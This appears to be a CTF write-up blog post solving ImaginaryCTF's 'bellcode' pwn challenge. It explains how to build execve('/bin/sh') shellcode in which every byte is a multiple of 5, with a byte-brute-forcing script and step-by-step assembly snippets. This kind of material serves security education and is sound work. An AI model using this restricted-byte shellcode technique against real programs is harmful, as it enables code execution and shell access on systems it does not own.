bellcode [IMAGINARY CTF] [PWN]


#shellcode#pwn

Bellcode - ImaginaryCTF

  • Mitigations
  bellcode pwn checksec bellcode
[*] '/home/kali/CTFs/CTFtime/imaginaryctf/pwn/bellcode/bellcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • It’s a 64 bit ELF file and PIE enabled.
  • Let’s see if we can find any leaks in the file by running it

  • Seems like we can’t leak anything, Let’s open it up in IDA

Debugging part

Decompiled view of main function

  • I’ve commented out everything in detail (see the above image)

what it does?

  • First it creates a read, write, executable area in memory for 0x2000 bytes
  • Then it gets our input for 4096 bytes and stores it in that mmaped area
  • Finally it checks every byte of our input and divides it with 5,
    • if it’s dividable by 5, then it executes our input
    • else it simply exits

what we can do with it??

plan

  • Our plan is to craft a shellcode with multiples of 5
    • seems confusing right?
    • So we need to write a shellcode, in that shellcode every byte need to be divisible by 5
  • Ok how can we do that?
    • First let’s make a script to see what are the bytes we can use
    • And disassemble those bytes into assembly instructions
    • Then let’s try to get a lead by using that instructions in our shellcode

FYKI: This writeup focus on fully pure multiples of 5 shellcode, there are several writeups that include two stages (refer that if you need to save a lot of time.

Finding valid instructions by brute forcing [0x00 to 0xff]

from pwn import disasm

valid_instructions = []

for byte in range(0x00,0xff):
	if (byte % 5) == 0:
		valid_instructions.append(byte)

for valid_byte in valid_instructions:
	byte = valid_byte.to_bytes(1,'little')
	print(disasm(byte))

output

   0:   1e                      push   ds
   0:   37                      aaa
   0:   41                      inc    ecx
   0:   46                      inc    esi
   0:   4b                      dec    ebx
   0:   50                      push   eax
   0:   55                      push   ebp
   0:   5a                      pop    edx
   0:   5f                      pop    edi
   0:   64                      fs
   0:   6e                      outs   dx, BYTE PTR ds:[esi]
   0:   91                      xchg   ecx, eax
   0:   96                      xchg   esi, eax
   0:   9b                      fwait
   0:   a5                      movs   DWORD PTR es:[edi], DWORD PTR ds:[esi]
   0:   aa                      stos   BYTE PTR es:[edi], al
   0:   af                      scas   eax, DWORD PTR es:[edi]
   0:   c3                      ret
   0:   d7                      xlat   BYTE PTR ds:[ebx]
   0:   f0                      lock
   0:   f5                      cmc
   0:   fa                      cl
  • These are some valid single byte instructions that are divisible by 5 (truncated the unwanted instructions)

  • But there’s no syscall in this output

    • Let’s see that maually

  • These bytes also divisible by 5, so there’s no issues while calling the syscall

Exploit structure

execve('/bin/sh',0,0);
  • Main goal of our shellcode is to call execve syscall with these arguments, so we can get a shell
rax: 0x3b      ; syscall number
rdi: '/bin/sh' ; first argument need to be a pointer to '/bin/sh'
rsi: 0         ; argv
rdx: 0         ; envp
  • If we placed the above things correctly then we can call syscall to get shell :D
  • Now let’s try to craft this exploit

Exploitation part

Get intial register values

  • Let’s try to get some info about the available registers, so we can use already available values
 RAX  0x0
 RBX  0x5555555552f0 (__libc_csu_init) ◂— endbr64
 RCX  0x7ffff7ec3603 (write+19) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0xfac300 ◂— 0xa32 /* '2\n' */
 RDI  0x7ffff7fa6670 (_IO_stdfile_1_lock) ◂— 0x0
 RSI  0x7ffff7fa4743 (_IO_2_1_stdout_+131) ◂— 0xfa6670000000000a /* '\n' */
 R8   0x20
 R9   0x0
 R10  0x21
 R11  0x246
 R12  0x5555555550e0 (_start) ◂— endbr64
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe560 ◂— 0x0
*RSP  0x7fffffffe548 —▸ 0x5555555552e0 (main+279) ◂— mov    eax, 0
*RIP  0xfac300 ◂— 0xa32 /* '2\n' */
  • RAX, R9, R13, R14, R15 are null
  • So let’s make use of it

Craft RDX = 0x0

push rax
pop rdx
  • rax is 0 so let’s push that into stack and pop that into rdx
 RAX  0x0
 RBX  0x559a001002f0 (__libc_csu_init) ◂— endbr64
 RCX  0x7ffa5ba16603 (write+19) ◂— cmp    rax, -0x1000 /* 'H=' */
*RDX  0x0
  • Now our registers will lools like this

Craft RSI = 0x0

xchg   esi, eax
  • rax is 0 so let’s exchange it with esi
*RAX  0x3edfa743
 RBX  0x56153b17f2f0 (__libc_csu_init) ◂— endbr64
 RCX  0x7fe53ed19603 (write+19) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x7fe53edfc670 (_IO_stdfile_1_lock) ◂— 0x0
*RSI  0x0
  • Now our registers will lools like this
  • rsi, rdx done. Now for the big part

Craft RDI = ‘/bin/sh’ pointer

  • First we don’t have /bin/sh in the binary
  • Also we don’t know it’s position in libc, coz we don’t have any libc leaks
  • So we need to move that manual to the memory and make a pointer to point that string
  • Here the problem is we are limited to instructions
  • We can’t use instructions like mov <rax or any register name starts with r>, <some value>
  • We can only use some inc, dec, sub instructions
  • Also we can’t move the whole 8 bytes to a register since we can’t use any full register
  • So we need to move this 7 byte string byte by byte into some place
  • And finally push that to stack and make a pointer to it by pop rdi
  • Before that we need to make rax again to 0x0
xchg eax,r14d
  • Since r14 has 0x0 we can exchange that with eax

Useful instruction

sub    eax, <some value>
  • By using that we can subtract some value in eax register
  • But we’re limited to multiples of 5
  • So let’s use another instruction called

dec eax
  • By using this two registers we can perfectly set a value in rax
  • Ok what’s next? how we’re going to move that to a pointer
push rbp
  • This pushes rbp address to stack
pop rdi
  • This tooks that value and store it rdi
  • Now get ready for a magic instruction
stos   BYTE PTR es:[rdi], al
  • This moves our last byte of rax to the pointer of rdi
  • So we can write a byte in rbp
  • Let’s try that
  • First set the value of rax to 0x2f (that’s basically the hex of the string ‘/’ )
dec eax
sub eax,0xfffffaff
sub eax,0xff
sub eax,0xff
sub eax,0xff
sub eax,0xff
sub eax,0xd2
dec eax
dec eax
dec eax
  • This decrements eax and finally sets that to 0x2f
  • Now let’s do the remaining things
push rbp
pop rdi
stos   BYTE PTR es:[rdi], al
  • This moves our 0x2f to the last byte of rdi pointed location
  • It points our rbp so we can get ‘/’ in rbp

  • Here we successfully moved / to the rbp
  • Now let’s try to move the other strings also

speed runnnnnnnnn 🏃

  • I will attach a full exploit script in the ending of the writeup

  • Now let’s push rbp and pop rdi, ez pz

  • Everything is set perfectly, just need to change the value in rax to 0x3b

Craft RAX = 0x3b

  • Now let’s set decrement rax and make a syscall

  • Cool we got it
  • Now let’s try this in remote

  • Perfect <3
  • Thank you for reading my blog post, I hope you enjoyed it.
  • See you soon in my next one, Cheers

Here is the full exploit script: exploit link


Hack The Box

It would be appreciated if you give me a respect+ on HTB